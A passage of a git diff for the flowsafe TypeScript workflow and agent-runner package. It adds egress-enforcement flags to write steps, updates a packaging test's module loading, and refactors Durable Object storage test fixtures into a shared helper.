a/packages/flowsafe/deploy/worker.ts +++ b/packages/flowsafe/deploy/worker.ts @@ -192,7 +192,11 @@ function defineWorkflows(env: Env): RunnerRuntime { description: 'Publishes the approved example topic', inputSchema: z.object({ topic: z.string() }), outputSchema: z.object({ published: z.boolean() }), - permissions: { sideEffect: 'write', requiresApproval: true }, + permissions: { + sideEffect: 'write', + requiresApproval: true, + egressEnforcement: 'enforced', + }, execute: async () => ({ published: true }), }); diff --git a/packages/flowsafe/examples/gtm-outbound.e2e.test.ts b/packages/flowsafe/examples/gtm-outbound.e2e.test.ts index 9df05cf2..319e3531 100644 --- a/packages/flowsafe/examples/gtm-outbound.e2e.test.ts +++ b/packages/flowsafe/examples/gtm-outbound.e2e.test.ts @@ -70,7 +70,11 @@ function buildHarness(): Harness { description: 'Sends the approved outreach batch', inputSchema: z.object({ count: z.number() }), outputSchema: z.object({ sent: z.boolean() }), - permissions: { sideEffect: 'write', requiresApproval: true }, + permissions: { + sideEffect: 'write', + requiresApproval: true, + egressEnforcement: 'enforced', + }, policies: { audit }, execute: async () => { sends += 1; diff --git a/packages/flowsafe/package.json b/packages/flowsafe/package.json index 91b7b075..21189f0a 100644 --- a/packages/flowsafe/package.json +++ b/packages/flowsafe/package.json @@ -70,6 +70,7 @@ "dev": "tsc --watch", "test": "vitest run", "test:agent-host-export": "node scripts/agent-host-pack-test.mjs", + "test:packed-surface": "node scripts/agent-host-pack-test.mjs", "test:provisioning-export": "node scripts/provisioning-pack-test.mjs", "test:signals-client-export": "node scripts/signals-client-pack-test.mjs", "test:watch": "vitest", diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index 48677e0d..205370ab 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -338,7 +338,10 @@ try { assertAttwEsmPackage(archive, packageRoot); run('tar', ['-xzf', archive, '-C', extracted]); - const packageDirectory = join(extracted, 'package'); + // Symlink-resolved, because Node reports module URLs under the real path: + // the loader hook and the module-graph filter below compare those URLs + // against the `packedDistUrl` derived from this directory. + const packageDirectory = realpathSync(join(extracted, 'package')); assert.equal( existsSync(join(packageDirectory, 'dist', 'stale-package-probe.js')), false, @@ -432,11 +435,21 @@ for (const value of [undefined, null, {}, [], { 'flowsafe.suspensionTimeout': {} }]) { assert.equal(constants.isSuspensionTimeoutResumeData(value), false); } +`, + ); + writeFileSync( + join(deadlineConsumer, 'graph-register.mjs'), + `import { register } from 'node:module'; +register('./graph-loader.mjs', import.meta.url); `, ); run( process.execPath, - ['--experimental-loader', './graph-loader.mjs', 'runtime.mjs'], + [ + '--import', + pathToFileURL(join(deadlineConsumer, 'graph-register.mjs')).href, + 'runtime.mjs', + ], deadlineConsumer, ); const deadlineModules = readFileSync(deadlineGraph, 'utf8') @@ -956,12 +969,12 @@ void [derived, constantsTimeout, constantsEnvelope]; } from '@proofoftech/flowsafe/approval-api'; import type { NotificationsStorage } from '@mastra/core/notifications'; import { - createNotificationDispatchTick, createThreadSignalRoutes, + createNotificationDispatchTick, createSignalRouter, createThreadSignalRoutes, DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, D1NotificationsStorage, type NotificationDeliveryStorage, type NotificationDeliveryObservation, type NotificationDeliveryFailure, type NotificationDeliveryUpdateResult, type NotificationDispatchTickOptions, type ThreadSignalRoutesOptions, - type SignalDatabase, + type SignalDatabase, type SignalRouterOptions, } from '@proofoftech/flowsafe/signals'; import { type RunnerRuntime, type RunExecutionIdentity, type StartRunOptions, @@ -973,7 +986,6 @@ import { type RunStartInput, type DoRunStartInput, type RunRouterOptions, type RunRouterStartIdempotency, type BoundThreadTargetValidator, type ThreadTopology, } from '@proofoftech/flowsafe/host-kit'; -import { createSignalRouter, type SignalRouterOptions } from '@proofoftech/flowsafe/signals'; import { type AgentStartAuthority, type FlowsafeDurableAgent, } from '@proofoftech/flowsafe/agent-runner'; @@ -1153,6 +1165,33 @@ void [legacyContext, epochContext, legacyScope, epochScope, legacyInput, epochIn }), ); run('pnpm', ['exec', 'tsc', '-p', 'tsconfig.json'], consumer); + // `skipLibCheck: true` above keeps the consumer program from reading the + // declarations it resolves, so the deadline entries' declaration axis is + // pinned here the way the loader probe pins their runtime axis: each entry + // declares one module, and the module they share reaches the runner through + // the single type-only import its exported projections need. + const packedDeclarationSpecifiers = (fileName) => { + const declaration = readFileSync( + join(packageDirectory, 'dist', 'do-runner', fileName), + 'utf8', + ); + return [ + ...new Set( + [...declaration.matchAll(/(?:from|import\()\s*['"]([^'"]+)['"]/g)].map( + (match) => match[1], + ), + ), + ].sort(); + }; + assert.deepEqual(packedDeclarationSpecifiers('constants.d.ts'), [ + './suspension-deadline.js', + ]); + assert.deepEqual(packedDeclarationSpecifiers('testing.d.ts'), [ + './suspension-deadline.js', + ]); + assert.deepEqual(packedDeclarationSpecifiers('suspension-deadline.d.ts'), [ + './runtime.js', + ]); writeFileSync( join(consumer, 'tsconfig.es2022.json'), JSON.stringify({ diff --git a/packages/flowsafe/spike/durability-benchmark.worker.ts b/packages/flowsafe/spike/durability-benchmark.worker.ts index f46a5bae..719941d6 100644 --- a/packages/flowsafe/spike/durability-benchmark.worker.ts +++ b/packages/flowsafe/spike/durability-benchmark.worker.ts @@ -165,7 +165,11 @@ function defineFlowsafeWorkflow(env: Env): RunnerRuntime { runId: z.string(), }), outputSchema: z.object({ effectCount: z.number() }), - permissions: { sideEffect: 'write', requiresApproval: true }, + permissions: { + sideEffect: 'write', + requiresApproval: true, + egressEnforcement: 'enforced', + }, execute: async (input) => ({ effectCount: (await recordEffect(env.DB, 'flowsafe', input.runId, input)) .effectCount, diff --git a/packages/flowsafe/spike/worker.ts b/packages/flowsafe/spike/worker.ts index 82a7f1da..308d790c 100644 --- a/packages/flowsafe/spike/worker.ts +++ b/packages/flowsafe/spike/worker.ts @@ -539,7 +539,7 @@ function createSpikeAgentModule(env: Env, audit: AuditLogger): AgentModule { ]); return { recorded: true }; }, - permissions: { sideEffect: 'write' }, + permissions: { sideEffect: 'write', egressEnforcement: 'enforced' }, policies: { writePermissions: { requireApproval: [SPIKE_WRITE_CONNECTOR_ID] }, audit, @@ -718,7 +718,11 @@ function defineWorkflows(env: Env): RunnerRuntime { published: z.boolean(), applicationValue: z.string().optional(), }), - permissions: { sideEffect: 'write', requiresApproval: true }, + permissions: { + sideEffect: 'write', + requiresApproval: true, + egressEnforcement: 'enforced', + }, execute: async (_input, context) => ({ published: true, applicationValue: z @@ -2041,7 +2045,7 @@ async function handleBackgroundTaskProbe( description: 'B-S3: a write connector must reject a smuggled _background arg', execute: async () => ({ ok: true }), - permissions: { sideEffect: 'write' }, + permissions: { sideEffect: 'write', egressEnforcement: 'enforced' }, policies: { audit }, }); let denied = false; diff --git a/packages/flowsafe/src/agent-runner/agent-run-state.test.ts b/packages/flowsafe/src/agent-runner/agent-run-state.test.ts index ebf51171..323bcbf5 100644 --- a/packages/flowsafe/src/agent-runner/agent-run-state.test.ts +++ b/packages/flowsafe/src/agent-runner/agent-run-state.test.ts @@ -1,7 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it } from 'vitest'; -import type { DurableKeyValueStorage } from '../do-runner/index.js'; +import { durableKeyValueStorageFixture } from '../../test-support/durable-key-value-storage.js'; import { AgentRunStateConflictError, AgentRunStateError, @@ -12,23 +12,9 @@ import { writeAgentRunRecord, } from './agent-run-state.js'; -function memoryStorage(): DurableKeyValueStorage & { - values: Map; -} { - const values = new Map(); - return { - values, - get: async (key: string) => values.get(key) as T | undefined, - put: async (key, value) => { - values.set(key, structuredClone(value)); - }, - delete: async (key) => values.delete(key), - }; -} - describe('durable agent thread/run metadata', () => { it('binds a thread once and rejects an agent/resource change', async () => { - const storage = memoryStorage(); + const { storage } = durableKeyValueStorageFixture(); const binding = { version: 1 as const, agentId: 'writer', @@ -44,7 +30,7 @@ describe('durable agent thread/run metadata', () => { }); it('preserves the original principal until terminal cleanup', async () => { - const storage = memoryStorage(); + const { storage } = durableKeyValueStorageFixture(); const record = { version: 2 as const, agentId: 'writer', @@ -73,7 +59,7 @@ describe('durable agent thread/run metadata', () => { }); it('snapshots run metadata before awaiting storage', async () => { - const storage = memoryStorage(); + const { storage } = durableKeyValueStorageFixture(); const record = { version: 2 as const, agentId: 'writer', @@ -102,8 +88,8 @@ describe('durable agent thread/run metadata', () => { }); it('fails closed on malformed persisted state and malformed run principals', async () => { - const storage = memoryStorage(); - storage.values.set('flowsafe:agent-thread-binding:v1', { + const { storage, values } = durableKeyValueStorageFixture(); + values.set('flowsafe:agent-thread-binding:v1', { version: 2, agentId: '../writer', resourceId: 'acme_resource', @@ -142,7 +128,7 @@ describe('agent run metadata migration', () => { it('rejects a version-1 record rather than upgrading it to a human', async () => { // #given — exactly what the previous release wrote for a schedule.fire run: // an ApprovalActor whose fabricated role was 'operator'. - const storage = memoryStorage(); + const { storage } = durableKeyValueStorageFixture(); await storage.put('flowsafe:agent-run:v1:acme_run-1', { version: 1, agentId: 'writer', @@ -159,7 +145,7 @@ describe('agent run metadata migration', () => { it('rejects a version-2 record whose principal is still an ApprovalActor', async () => { // #given — the shape change, not just the version number. - const storage = memoryStorage(); + const { storage } = durableKeyValueStorageFixture(); await storage.put('flowsafe:agent-run:v1:acme_run-2', { version: 2, agentId: 'writer', @@ -175,7 +161,7 @@ describe('agent run metadata migration', () => { it('rejects an automated principal that carries no purpose', async () => { // #given — purpose is the provenance the whole model restores. - const storage = memoryStorage(); + const { storage } = durableKeyValueStorageFixture(); await storage.put('flowsafe:agent-run:v1:acme_run-3', { version: 2, agentId: 'writer', diff --git a/packages/flowsafe/src/do-runner/CLAUDE.md b/packages/flowsafe/src/do-runner/CLAUDE.md index 3123127b..ec173748 100644 --- a/packages/flowsafe/src/do-runner/CLAUDE.md +++ b/packages/flowsafe/src/do-runner/CLAUDE.md @@ -10,6 +10,7 @@ - `do-status-error.ts`, `do-error-response.ts`: Durable Object refusal base class and structured HTTP rendering - `durable-object.ts`, `thread-do.ts`, `hub-do.ts`: Durable Object hosts - `path-safe-id.ts`, `memory-id.ts`, `execution-principal-header.ts`: run, memory, and execution identity +- `constants.ts`, `testing.ts`: the published `do-runner/constants` and `do-runner/testing` entries, re-exporting `suspension-deadline.ts`'s deadline values, timeout detection, and fixture factory - `runtime.ts`, `pubsub.ts`: resume provenance and observation state - `mastra-schema-guard.test.ts`: adopted-domain inventory and retention coverage diff --git a/packages/flowsafe/src/do-runner/durable-object.test.ts b/packages/flowsafe/src/do-runner/durable-object.test.ts index 302cb2cf..04eaa81d 100644 --- a/packages/flowsafe/src/do-runner/durable-object.test.ts +++ b/packages/flowsafe/src/do-runner/durable-object.test.ts @@ -13,6 +13,7 @@ import { deploymentIdentityRequest, TEST_DEPLOYMENT_IDENTITY_SECRET, } from '../../test-support/deployment-identity.js'; +import { durableKeyValueStorageFixture } from '../../test-support/durable-key-value-storage.js'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import { ApprovalService, @@ -247,7 +248,7 @@ async function hostR1WorkflowFixture( DEPLOYMENT_TENANT: 'acme', DEPLOYMENT_IDENTITY_SECRET: TEST_DEPLOYMENT_IDENTITY_SECRET, }; - const journal = recoveryStorage(); + const journal = durableKeyValueStorageFixture(); const runner = new TestRunner(journal.state, env); const workflows = await storage.getStore('workflows'); if (!workflows) throw new Error('missing workflow domain'); @@ -327,7 +328,8 @@ class TestRunner extends DurableObjectRunner { withStorage ? ({ ...state, - storage: state?.storage ?? recoveryStorage().state.storage, + storage: + state?.storage ?? durableKeyValueStorageFixture().state.storage, } as DurableObjectState) : state, env, @@ -471,45 +473,6 @@ function preparedScheduleSource(input: { }; } -function recoveryStorage(events: string[] = []): { - state: DurableObjectState; - storage: DurableKeyValueStorage; - values: Map; - alarms: number[]; -} { - const values = new Map(); - const alarms: number[] = []; - const storage: DurableKeyValueStorage = { - async get(key: string): Promise { - events.push(`get:${key}`); - return values.get(key) as T | undefined; - }, - async put(key: string, value: T): Promise { - events.push(`put:${key}`); - values.set(key, value); - }, - async delete(key: string): Promise { - events.push(`delete:${key}`); - return values.delete(key); - }, - async setAlarm(scheduledTime: number | Date): Promise { - events.push('setAlarm'); - alarms.push( - scheduledTime instanceof Date ? scheduledTime.getTime() : scheduledTime, - ); - }, - async deleteAlarm(): Promise { - events.push('deleteAlarm'); - }, - }; - return { - state: { storage } as unknown as DurableObjectState, - storage, - values, - alarms, - }; -} - async function startGated(runner: TestRunner): Promise { const response = await runner.fetch( post('/runs', { @@ -531,7 +494,7 @@ function cDeferred() { function cWorkflowFixture(owned = false, provider?: RequestContextProvider) { const events: string[] = []; - const journal = recoveryStorage(events); + const journal = durableKeyValueStorageFixture(events); const env = makeProductionEnv(); const binding = env.DB; if (!binding) throw new Error('missing managed test database'); @@ -1822,7 +1785,7 @@ describe('DurableObjectRunner.fetch', () => { it('pre-arms owner recovery before deployment identity I/O', async () => { const events: string[] = []; - const { state } = recoveryStorage(events); + const { state } = durableKeyValueStorageFixture(events); const identity = deploymentIdentityDatabase('globex'); const env = makeProductionEnv(); env.DB = { @@ -1846,7 +1809,7 @@ describe('DurableObjectRunner.fetch', () => { it('clears the prearmed watchdog when no recovery journal exists', async () => { const events: string[] = []; - const { state } = recoveryStorage(events); + const { state } = durableKeyValueStorageFixture(events); const runner = new TestRunner(state, makeProductionEnv()); await runner.alarm(); @@ -1857,7 +1820,7 @@ describe('DurableObjectRunner.fetch', () => { it('arms recovery before reserving and commits the reservation after persistence', async () => { const events: string[] = []; - const { state } = recoveryStorage(events); + const { state } = durableKeyValueStorageFixture(events); const reserve = vi.fn(async () => { events.push('reserve'); return true; @@ -1901,9 +1864,36 @@ describe('DurableObjectRunner.fetch', () => { }); }); + it('journals nothing on a storage-less host and refuses to prepare the claim', async () => { + // #given — a run object whose state carries no storage at all + const runner = new TestRunner(undefined, makeProductionEnv(), false); + + // #when — a start walks the whole run-owner journal protocol + const response = await runner.fetch( + post('/runs', { + workflowId: 'gated', + runId: 'run-storage-less', + inputData: { topic: 't' }, + }), + ); + + // #then — both halves of the one absence policy: arming journaled nothing + // and said nothing, so the start reached the prepared phase, which no wake + // could recover from an unwritten journal and which refuses by name. The + // message is pinned because a bare 500 is also what a storage without + // alarms produces, and this case would pass while the prepared-phase guard + // had stopped firing. + expect(response.status).toBe(500); + expect(await response.json()).toMatchObject({ + error: expect.stringContaining( + 'run owner recovery requires durable storage', + ), + }); + }); + it('returns a persisted start after a lost settlement receipt and clears recovery on retry', async () => { const events: string[] = []; - const { state, values } = recoveryStorage(events); + const { state, values } = durableKeyValueStorageFixture(events); const env = makeProductionEnv(); const committed = new D1ResourceOwnershipStore( testDatabase(env.storage) as ResourceOwnershipDatabase, @@ -1953,7 +1943,7 @@ describe('DurableObjectRunner.fetch', () => { }); it('rolls back only the attempt reservation when start has no snapshot', async () => { - const { state } = recoveryStorage(); + const { state } = durableKeyValueStorageFixture(); const reserve = vi.fn(async () => true); const settle = vi.fn(async () => undefined); const runtime = { @@ -1986,7 +1976,7 @@ describe('DurableObjectRunner.fetch', () => { }); it('rolls back preparing bookkeeping without querying a failed Runtime reader', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const reserve = vi.fn(async () => true); const settle = vi.fn(async () => undefined); const runtime = { @@ -2035,7 +2025,7 @@ describe('DurableObjectRunner.fetch', () => { }); it('does not execute when the owner reservation conflicts', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const reserve = vi.fn(async () => false); const settle = vi.fn(async () => undefined); const env = makeProductionEnv(testStorage(), { reserve, settle }); @@ -2068,7 +2058,7 @@ describe('DurableObjectRunner.fetch', () => { }); it('rejects a malformed stored recovery journal before touching ownership', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const settle = vi.fn(async () => undefined); values.set('flowsafe:run-owner-recovery:v1', { version: 2, @@ -2151,7 +2141,7 @@ describe('DurableObjectRunner.fetch', () => { }); it('retains requester kind through eviction and status reconciliation', async () => { - const { state } = recoveryStorage(); + const { state } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); const before = new TestRunner(state, env); const started = await before.fetch( @@ -2572,25 +2562,9 @@ describe('DurableObjectRunner.fetch', () => { return runtime; } } - const persisted = new Map(); - const objectStorage: DurableKeyValueStorage = { - async get(key: string): Promise { - return persisted.get(key) as T | undefined; - }, - async put(key: string, value: T): Promise { - persisted.set(key, value); - }, - async delete(key: string): Promise { - return persisted.delete(key); - }, - async setAlarm(): Promise {}, - async deleteAlarm(): Promise {}, - }; - // Minimal Durable Object storage stub for run-owner recovery. Resume - // provenance lives in env.storage, not in this object-local storage. - const state = { - storage: objectStorage, - } as unknown as DurableObjectState; + // Object-local storage for run-owner recovery. Resume provenance lives in + // env.storage, not here. + const { state } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); // #given — instance A re-suspends the run once (falsy resume) @@ -3509,7 +3483,7 @@ async function countRowDeletes( describe('DurableObjectRunner suspension deadlines', () => { it('arms the record and the alarm at the suspension fence plus the deadline', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const runner = new TestRunner(state, timedEnv()); const started = await startTimed(runner, 'run-armed'); @@ -3533,7 +3507,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('arms nothing for a suspension without the reserved key', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const runner = new TestRunner(state, makeProductionEnv()); await startGated(runner); @@ -3544,7 +3518,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('keeps the alarm armed on a wake with no recovery journal but a pending deadline', async () => { const events: string[] = []; - const { state, values, alarms } = recoveryStorage(events); + const { state, values, alarms } = durableKeyValueStorageFixture(events); const runner = new TestRunner(state, timedEnv()); const started = await startTimed(runner, 'run-pending'); const dueAt = (started.suspendedAt?.gate as number) + TIMED_DEADLINE_MS; @@ -3562,7 +3536,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('arms the recovery watchdog when it falls due before a far-future deadline', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const farFuture = Date.now() + 10 * 24 * 60 * 60 * 1_000; seedDeadlines(values, 'run-far-future', [ { ...armedEntry('gate', Date.now()), deadlineAt: farFuture }, @@ -3579,7 +3553,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('re-arms to the pending deadline when run-owner recovery clears', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const dueAt = Date.now() + TIMED_DEADLINE_MS; seedDeadlines(values, 'run-cleared', [ { ...armedEntry('gate', 1), deadlineAt: dueAt }, @@ -3615,7 +3589,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('resumes the suspended step with the timeout envelope under a system principal', async () => { const sent: string[] = []; - const { storage, values } = recoveryStorage(); + const { storage, values } = durableKeyValueStorageFixture(); const state = { id: { name: 'timed:run-timeout' }, storage, @@ -3645,7 +3619,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('drops a stale entry without resuming when the suspension fence moved', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const resume = vi.fn(); const movedAt = Date.now() - TIMED_DEADLINE_MS + 60_000; const runtime = { @@ -3690,7 +3664,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('records a backoff attempt and never rethrows when the timeout resume fails', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const runtime = { ...statusStub(async () => suspendedFence('run-retry', 1)), resume: vi.fn(async () => { @@ -3716,7 +3690,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('abandons a spent entry as a tombstone for exactly its own suspension', async () => { const events: string[] = []; - const { state, values, alarms } = recoveryStorage(events); + const { state, values, alarms } = durableKeyValueStorageFixture(events); let resumeFails = true; const resume = vi.fn(async () => { if (resumeFails) throw new Error('injected resume failure'); @@ -3807,7 +3781,7 @@ describe('DurableObjectRunner suspension deadlines', () => { // written for `run-other`: a stale record left by a namespace reused under // another id, or one hand-written into storage. const events: string[] = []; - const { storage, values } = recoveryStorage(events); + const { storage, values } = durableKeyValueStorageFixture(events); const state = { id: { name: 'timed:run-mine' }, storage, @@ -3898,7 +3872,7 @@ describe('DurableObjectRunner suspension deadlines', () => { // stamped for `run-other` whose SPENT entry matches every key the merge // carries a ledger on: the same step, the same fence, the same deadline. const events: string[] = []; - const { storage, values, alarms } = recoveryStorage(events); + const { storage, values, alarms } = durableKeyValueStorageFixture(events); const state = { id: { name: 'timed:run-mine' }, storage, @@ -3941,7 +3915,7 @@ describe('DurableObjectRunner suspension deadlines', () => { // stamped for `run-other` whose entry is far from due, and this run has // already finished: the reconcile has nothing to write in its place. const events: string[] = []; - const { storage, values } = recoveryStorage(events); + const { storage, values } = durableKeyValueStorageFixture(events); const state = { id: { name: 'timed:run-mine' }, storage, @@ -3974,7 +3948,11 @@ describe('DurableObjectRunner suspension deadlines', () => { it('keeps the record and its wake when a nothing-due wake reads Mastra in-memory fallback state', async () => { const events: string[] = []; - const { storage: doStorage, values, alarms } = recoveryStorage(events); + const { + storage: doStorage, + values, + alarms, + } = durableKeyValueStorageFixture(events); const state = { id: { name: 'timed:run-blinded-idle' }, storage: doStorage, @@ -4029,7 +4007,11 @@ describe('DurableObjectRunner suspension deadlines', () => { it('charges nothing and runs nothing when a due wake reads Mastra in-memory fallback state', async () => { const events: string[] = []; - const { storage: doStorage, values, alarms } = recoveryStorage(events); + const { + storage: doStorage, + values, + alarms, + } = durableKeyValueStorageFixture(events); const state = { id: { name: 'timed:run-blinded-due' }, storage: doStorage, @@ -4089,7 +4071,7 @@ describe('DurableObjectRunner suspension deadlines', () => { // not already a RunStateUnreadableError: a storage fault, as a driver // surfaces one. const events: string[] = []; - const { storage, values } = recoveryStorage(events); + const { storage, values } = durableKeyValueStorageFixture(events); const state = { id: { name: 'timed:run-read-threw' }, storage, @@ -4140,7 +4122,11 @@ describe('DurableObjectRunner suspension deadlines', () => { it('deletes no run row and settles nothing when recovery reads in-memory fallback state', async () => { const events: string[] = []; - const { storage: doStorage, values, alarms } = recoveryStorage(events); + const { + storage: doStorage, + values, + alarms, + } = durableKeyValueStorageFixture(events); const state = { id: { name: 'timed:run-blinded-recovery' }, storage: doStorage, @@ -4225,7 +4211,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('answers dispatch-status with a retryable 503 while the run state cannot be read', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); env.runtime = { ...statusStub(async () => null), @@ -4272,7 +4258,7 @@ describe('DurableObjectRunner suspension deadlines', () => { // journal, with the read that would settle it refusing to answer from // state it could not reach. The recovery runs BEFORE the existing-run // check, so nothing downstream of it sees a fabricated read. - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); const start = vi.fn(); env.runtime = { @@ -4320,7 +4306,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('stamps the unreadable clock once and clears it on the first read that succeeds', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const armedAt = Date.now() - TIMED_DEADLINE_MS - 1; let readable = false; const movedAt = Date.now(); @@ -4371,7 +4357,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('abandons an entry whose run state has been unreadable for a day', async () => { const events: string[] = []; - const { state, values, alarms } = recoveryStorage(events); + const { state, values, alarms } = durableKeyValueStorageFixture(events); const armedAt = Date.now() - TIMED_DEADLINE_MS - 1; const env = makeProductionEnv(); const resume = vi.fn(); @@ -4438,7 +4424,7 @@ describe('DurableObjectRunner suspension deadlines', () => { // backwards between two wakes, or a hand-written record. Left as read, its // elapsed time can never pass the limit and the entry keeps an uncharged // heartbeat forever. - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const armedAt = Date.now() - TIMED_DEADLINE_MS - 1; const env = makeProductionEnv(); env.runtime = { @@ -4502,7 +4488,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('runs one unreadable-state clock over the whole due batch and leaves entries that are not due alone', async () => { const events: string[] = []; - const { state, values, alarms } = recoveryStorage(events); + const { state, values, alarms } = durableKeyValueStorageFixture(events); const now = Date.now(); const alphaAt = now - TIMED_DEADLINE_MS - 10_000; const bravoAt = now - TIMED_DEADLINE_MS - 5_000; @@ -4584,7 +4570,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('clears the unreadable stamp from a lifecycle boundary while the wake read is still failing', async () => { - const { storage, values } = recoveryStorage(); + const { storage, values } = durableKeyValueStorageFixture(); const state = { id: { name: 'timed:run-boundary' }, storage, @@ -4646,7 +4632,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('keeps its cadence when the unreadable stamp itself cannot be written', async () => { - const { storage, values, alarms } = recoveryStorage(); + const { storage, values, alarms } = durableKeyValueStorageFixture(); const { state } = deadlineWriteFailures(storage, { name: 'timed:run-stamp-write-fail', }); @@ -4698,7 +4684,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('reaches the tombstone in five charges when readable and unreadable wakes alternate', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const armedAt = Date.now() - TIMED_DEADLINE_MS - 1; const armed = armedEntry('gate', armedAt); let readable = false; @@ -4749,7 +4735,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('spends no abandonment budget on a wake that cannot build its runtime', async () => { const events: string[] = []; - const { state, values, alarms } = recoveryStorage(events); + const { state, values, alarms } = durableKeyValueStorageFixture(events); const armedAt = Date.now() - TIMED_DEADLINE_MS - 1; const armed = armedEntry('gate', armedAt); // A misconfigured binding: build(env) throws on EVERY wake and nothing @@ -4793,7 +4779,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('keeps an unwritable record and its cadence on a nothing-due wake', async () => { - const { storage, values, alarms } = recoveryStorage(); + const { storage, values, alarms } = durableKeyValueStorageFixture(); const { state } = deadlineWriteFailures(storage, { name: 'timed:run-idle-write-fail', }); @@ -4836,7 +4822,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('discards a malformed stored record and converges instead of throwing every wake', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); values.set(SUSPENSION_DEADLINE_STORAGE_KEY, { version: 1, workflowId: 'timed/forged', @@ -4856,7 +4842,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('re-arms at the new fence when the timeout resume suspends again', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const runner = new TestRunner(state, timedEnv()); const started = await startTimed( runner, @@ -4882,7 +4868,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('clears the record when the run is terminated', async () => { const events: string[] = []; - const { state, values } = recoveryStorage(events); + const { state, values } = durableKeyValueStorageFixture(events); const runner = new TestRunner(state, timedEnv()); await startTimed(runner, 'run-terminated'); expect(storedDeadlines(values)?.entries).toHaveLength(1); @@ -4897,7 +4883,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('clears the record on a terminal deadline route that transitions nothing', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); // A deadline request whose compare-and-swap no longer matches: the route // returns the current terminal summary without finalizing, and it is the @@ -4933,7 +4919,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('charges nothing and keeps the watchdog when a due wake cannot read authoritative state', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const resume = vi.fn(); const env = makeProductionEnv(); // A run whose workflow a deploy unregistered, or a D1 fault: the read @@ -4993,7 +4979,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('does not charge a bookkeeping failure to a resume that succeeded', async () => { - const { storage, values, alarms } = recoveryStorage(); + const { storage, values, alarms } = durableKeyValueStorageFixture(); const { state, fail } = deadlineWriteFailures(storage, { once: true, armed: false, @@ -5069,7 +5055,7 @@ describe('DurableObjectRunner suspension deadlines', () => { // built by JSON.stringify outside safeSend's per-socket tolerance, so // building it throws after the resume has already run the step. const events: string[] = []; - const { storage, values } = recoveryStorage(events); + const { storage, values } = durableKeyValueStorageFixture(events); const sent: string[] = []; const state = { id: { name: 'timed:run-broadcast-throws' }, @@ -5134,7 +5120,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('retries rather than dropping the entry when the run is momentarily unreadable', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const resume = vi.fn(); const env = makeProductionEnv(); // A read replica that has not caught up with a snapshot this object wrote @@ -5161,7 +5147,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('drops the entry when only the resumeCount fence moved', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const resume = vi.fn(); const env = makeProductionEnv(); // Same step, same suspension time, one resume further on: a real signal @@ -5192,7 +5178,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('resumes one due entry per wake and keeps the other armed', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const gateSuspendedAt = Date.now() - TIMED_DEADLINE_MS - 2; const otherSuspendedAt = gateSuspendedAt + 1; const bothSuspended: RunSummary = { @@ -5246,7 +5232,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('serves the deadline duty in a 